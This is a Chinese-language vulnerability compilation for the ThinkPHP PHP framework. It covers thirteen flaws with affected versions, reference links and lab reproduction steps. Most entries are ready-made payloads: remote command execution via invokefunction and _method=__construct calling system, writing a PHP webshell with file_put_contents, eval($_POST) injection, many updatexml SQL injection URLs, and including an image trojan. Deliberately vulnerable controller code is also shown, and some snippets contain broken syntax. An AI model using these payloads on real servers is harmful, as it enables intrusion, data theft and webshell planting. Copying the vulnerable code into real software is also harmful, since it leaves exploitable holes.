一、Thinkphp
ThinkPHP是一個快速、兼容而且簡單的輕量級國產PHP開發框架,因為受到眾多開發人員的喜愛,其在市場的應用規模很大,自然也引起了眾多安全人員的注意。因此在這里,對相關漏洞進行歸納和總結。
指紋為:X-Powered-By: ThinkPHP
二、安全漏洞
1.ThinkPHP 5.0.23遠程代碼執行
參考:http://zone.secevery.com/article/1165
- 介紹:Thinkphp在實現框架中的核心類Request的method方法實現了表單請求偽裝。但由於對$_POST[‘_method’]屬性校驗不嚴格,導致攻擊者可以通過變量覆蓋掉Request類的屬性並結合框架特性實現對任意函數的調用,從而實現遠程代碼執行。
- 影響版本:THINKPHP 5.0.x-5.0.23
- 漏洞產生位置:ThinkPHPRequest 類的 method 方法中 (thinkphp/library/think/Request.php)
- 挖掘方式
-
Method:POST
-
url中設置參數s=captcha
-
body數據:_method=__construct& filter=system&method=get&server[REQUEST_METHOD]=whoami
2.ThinkPHP 5.0.22遠程代碼執行
參考:http://zone.secevery.com/article/1165
- 介紹:Thinkphp5.x版本(5.0.20)中沒有對路由中的控制器進行嚴格過濾,在存在admin、index模塊、沒有開啟強制路由的條件下(默認不開啟),導致可以注入惡意代碼利用反射類調用命名空間其他任意內置類,完成遠程代碼執行
- 影響版本:THINKPHP 5.0.5-5.0.22 、THINKPHP 5.1.0-5.1.30
- 漏洞分析:參考https://www.secpulse.com/archives/93903.html即可
- 挖掘方式
-
1.命令執行
-
?s=index/think\app/invokefunction&function=call _user_func_array&vars[0]=system&vars[1]=whoami
-
-
2.代碼執行
-
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=-1
-
-
3.寫入文件
-
?s=/index/think\app/invokefunction&function=call _user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?php phpinfo();?>
3.ThinkPHP 2.2任意代碼執行
參考:http://zone.secevery.com/article/1165
- 影響版本:THINKPHP 2.x-2.2
- 挖掘方式
-
/ module/action/param1/${phpinfo()}
-
/ module/action/param1/${eval($_POST[1])}
-
?s=/abc/abc/abc/${THINK_VERSION}
-
?s=/abc/abc/abc/${eval($_POST[1])}
4.ThinkPHP 前台緩存寫shell
參考:https://www.cnblogs.com/-chenxs/p/12593865.html
利用條件:
- 開啟緩存功能;
- 能夠猜解出緩存文件名(文件名生成有一定規律)
- 緩存內容可控或部分可控,即找到寫入的位置(一般與數據庫交互的地方)
影響版本:ThinkPHP3.2.3-5.0.10
挖掘方式:主要分為數據交互寫入惡意php語句,觸發緩存數據,訪問緩存文件三步。
tp3.2.3:
- 找到與數據庫交互的地方,一般是提交post數據的地方,寫入任意php語句如%0d%0aphpinfo();//
- 緩存文件路徑:/Application/Runtime/Temp
- 可能緩存文件名:b068931cc450442b63f5b3d276ea4297.php
onethink1.0:
- thinkphp3開發
- 緩存文件路徑:/Runtime/Temp/
- 默認緩存文件名:2bb202459c30a1628513f40ab22fa01a.php
tp5.0.10:
- 緩存文件路徑:/runtime/cache
- 如果可能規則命名的md5值:b068931cc450442b63f5b3d276ea4297,那么緩存文件名為:/runtime/cache/b0/68931cc450442b63f5b3d276ea4297.php
- 寫入的php語句開頭需要換行,結尾需要注釋掉后面的垃圾數據:換行利用url編碼%0d%0a或者%0a,注釋用 //。例如寫入phpinfo(); 那么應該為:%0d%0aphpinfo();//
5.ThinkPHP 3.2.3/5.1.22 order by注入
漏洞介紹:
該漏洞是因為未正確處理所接收數組類型參數的key,直接拼接到了SQL語句的order by后面,導致漏洞的產生。該漏洞可以獲取數據庫數據,比如用戶賬號密碼,管理后台賬號密碼,交易數據等。漏洞危害為高危。
影響版本
5.1.16<=ThinkPHP<=5.1.22,<=3.2.3
漏洞分析參考:
https://nosec.org/home/detail/1821.html
漏洞復現(內網環境)
在/application/index/controller/文件夾下建立Index.php文件,內容如下:
-
<?php
-
namespace app\index\controller;
-
class Index{
-
public function index() {
-
$data=array();
-
$data['username']=array('eq','admin');
-
$order=input('get.orderby/a');
-
$m=db('user')->where($data)->order($order)->find();
-
Sdump($m);
-
}
-
}
-
?>
訪問192.168.10.53,選擇對應版本
Poc/exp:
3.2.3
?order[updatexml(1,concat(0x3a,user()),1)]=1
5.1.22
?orderby[id`|updatexml(1,concat(0x3a,user()),1)%23]=1
6.Thinkphp3.2.3 find/select/delete注入
影響版本
Thinkphp<=3.2.3
漏洞分析參考:
https://www.anquanke.com/post/id/157817
漏洞復現(內網環境)
在Application\Home\Controller\IndexController.class.php 添加以下代碼:
-
<?php
-
public function test()
-
{
-
$id = i('id');
-
$res = M('user')‐>find($id);
-
//find() //$res = M('user')‐>delete($id); //delete()
-
//$res = M('user')‐>select($id); //select()
-
}
Poc/exp:
針對select() 和find()方法 ,有很多地方可注,這里主要列舉三個table,alias, where,更多還請自行跟蹤一下parseSql的各個parseXXX方法,目測都是可行 的,比如having,group等。
where:
http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat x7e,user(),0x7e),1)‐‐
alias:
http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,u ser(),0x7e),1)‐‐
table:
http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐
而delete()方法的話同樣,這里粗略舉三個例子,table,alias,where,但使用table和alias的時候,同時還必須保證where不為空
where:
http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐
alias:
http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐
table:
http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat x7e,user(),0x7e),1)‐‐&id[where]=1
7.ThinkPHP框架3.2.3 update注入漏洞
影響版本
Thinkphp<=3.2.3
漏洞分析參考:
https://www.seebug.org/vuldb/ssvid-97234
漏洞復現(內網環境)
在Application/Home/Controller/UserController.class.php添加以下代碼:
-
<?php
-
-
namespace Home\Controller;
-
use Think\Controller;
-
-
class UserController extends Controller {
-
-
public function index(){
-
-
$User = M("user");
-
$user['id'] = I('id');
-
$data['name'] = I('name');
-
$data['pass'] = I('pass');
-
$valu = $User->where($user)->save($data);
-
var_dump($valu);
-
}
-
}
-
-
-
Poc/exp:
/index.php/home/user?name=1123&pass=liao&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))
8.ThinkPHP 5.1.7 update注入
漏洞介紹
本次漏洞存在於 Mysql 類的 parseArrayData 方法中由於程序沒有對數據進行很好的過濾,將數據拼接進 SQL 語句,導致 SQL注入漏洞 的產生。
影響版本
5.1.6<=Thinkphp<=5.1.7(非最新的 5.1.8 版本也可利用)
漏洞分析參考:
https://www.freebuf.com/column/206233.html
漏洞復現(內網環境)
在\thinkphp\application\index\controller\Index.php添加以下代碼:
-
class index
-
{
-
public function indx()
-
{
-
$password=input('get.pass/a');
-
db('user')->where(['id'=>1]->update(['pass'=>&password]));
-
}
-
}
Poc/exp:
/index.php?pass[0]=inc&pass[1]=updatexml(2,concat(0x7e,user()),0)&pass[2]=1
9.ThinkPHP 5.0.15 insert注入
漏洞介紹
本次漏洞存在於 Builder 類的 parseData 方法中。由於程序沒有對數據進行很好的過濾,將數據拼接進 SQL 語句,導致 SQL注入漏洞 的產生。
影響版本
5.0.13<Thinkphp<=5.0.15,5.1.0<=thinkphp<=5.1.5
漏洞分析參考:
https://www.freebuf.com/column/205976.html
漏洞復現(內網環境)
在\thinkphp\application\index\controller\Index.php添加以下代碼:
-
class Index
-
{
-
public function index()
-
{
-
$username = request()->get('name/a');
-
db('user')->insert(['name' => $name]);
-
return 'Update success';
-
}
-
}
Poc/exp:
/index/index/index?name[0]=inc&name[1]=updatexml(1,concat(0x7,user(),0x7e),1)&name[2]=1
10.ThinkPHP5 select注入
漏洞介紹
本次漏洞存在於 Mysql 類的 parseWhereItem 方法中。由於程序沒有對數據進行很好的過濾,將數據拼接進 SQL 語句,導致 SQL注入漏洞 的產生。
影響版本
ThinkPHP5全版本
漏洞分析參考:
https://www.freebuf.com/column/206387.html
漏洞復現(內網環境)
在\thinkphp\application\index\controller\Index.php添加以下代碼:
-
class Index
-
{
-
public function index()
-
{
-
$name = request()->get('name');
-
$result = db('user')->where('name','exp',$name)->select();
-
return 'select success';
-
}
-
}
Poc/exp:
/index/index/index?name=) union select updatexml(1,concat(0x7,user(),0x7e),1)#
11.ThinkPHP5.0.10 select注入
漏洞介紹
本次漏洞存在於 Mysql 類的 parseWhereItem 方法中。由於程序沒有對數據進行很好的過濾,直接將數據拼接進 SQL 語句。再一個, Request 類的 filterValue 方法漏過濾 NOT LIKE 關鍵字,最終導致 SQL注入漏洞 的產生。
影響版本
ThinkPHP 5.0.10
漏洞分析參考:
https://www.freebuf.com/column/206599.html
漏洞復現(內網環境)
在\thinkphp\application\index\controller\Index.php添加以下代碼:
-
class Index
-
{
-
public function index()
-
{
-
$username = request()->get('name/a');
-
$result = db('user')->where(['name' => $name])->select();
-
var_dump($result);
-
}
-
}
Poc/exp:
/index/index/index?name[0]=not like&name[1][0]=%%&name[1][1]=233&name[2]=) union select 1,user()#
12.ThinkPHP Mysql 聚合函數相關方法注入
漏洞介紹
本次漏洞存在於所有 Mysql 聚合函數相關方法。由於程序沒有對數據進行很好的過濾,直接將數據拼接進 SQL 語句,最終導致 SQL注入漏洞 的產生。
影響版本
5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。
漏洞分析參考:
https://www.freebuf.com/column/206599.html
漏洞復現(內網環境)
在\thinkphp\application\index\controller\Index.php添加以下代碼:
-
class Index
-
{
-
public function index()
-
{
-
$options = request()->get('options');
-
$result = db('user')->max($options);
-
var_dump($result);
-
}
-
}
Poc/exp:
不同版本payload需稍作調整
5.0.0~5.0.21 、 5.1.3~5.1.10:
/index/index/index?options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from user%23
5.1.11~5.1.25:
-
/index/index/index?options=id)%2bupdatexml(1,concat(0×7,user(),0x7e),1) from user%23`
-
-
13.ThinkPHP5文件包含漏洞
漏洞介紹
本次漏洞存在於ThinkPHP模板引擎中,在加載模版解析變量時存在變量覆蓋問題,而且程序沒有對數據進行很好的過濾,最終導致文件包含漏洞的產生。
影響版本
5.0.0<=ThinkPHP5<=5.0.18、5.1.0<=ThinkPHP<=5.1.10
漏洞分析參考:
https://www.freebuf.com/column/207878.html
漏洞復現(內網環境)
在\thinkphp\application\index\controller\Index.php添加以下代碼:
-
class Index
-
{
-
public function index()
-
{
-
$this->assign(request()->get());
-
return $this->fetch(); // 當前模塊/默認視圖目錄/當前控制器(小寫)/當前操作(小寫).html
-
}
-
}
創建application/index/view/index/index.html文件,內容隨意(沒有這個模板文件的話,在渲染時程序會報錯),並將圖片馬1.jpg放至public 目錄下(模擬上傳圖片操作)。
Poc/exp:
/index.php/index/index/index?cacheFile=1.jpg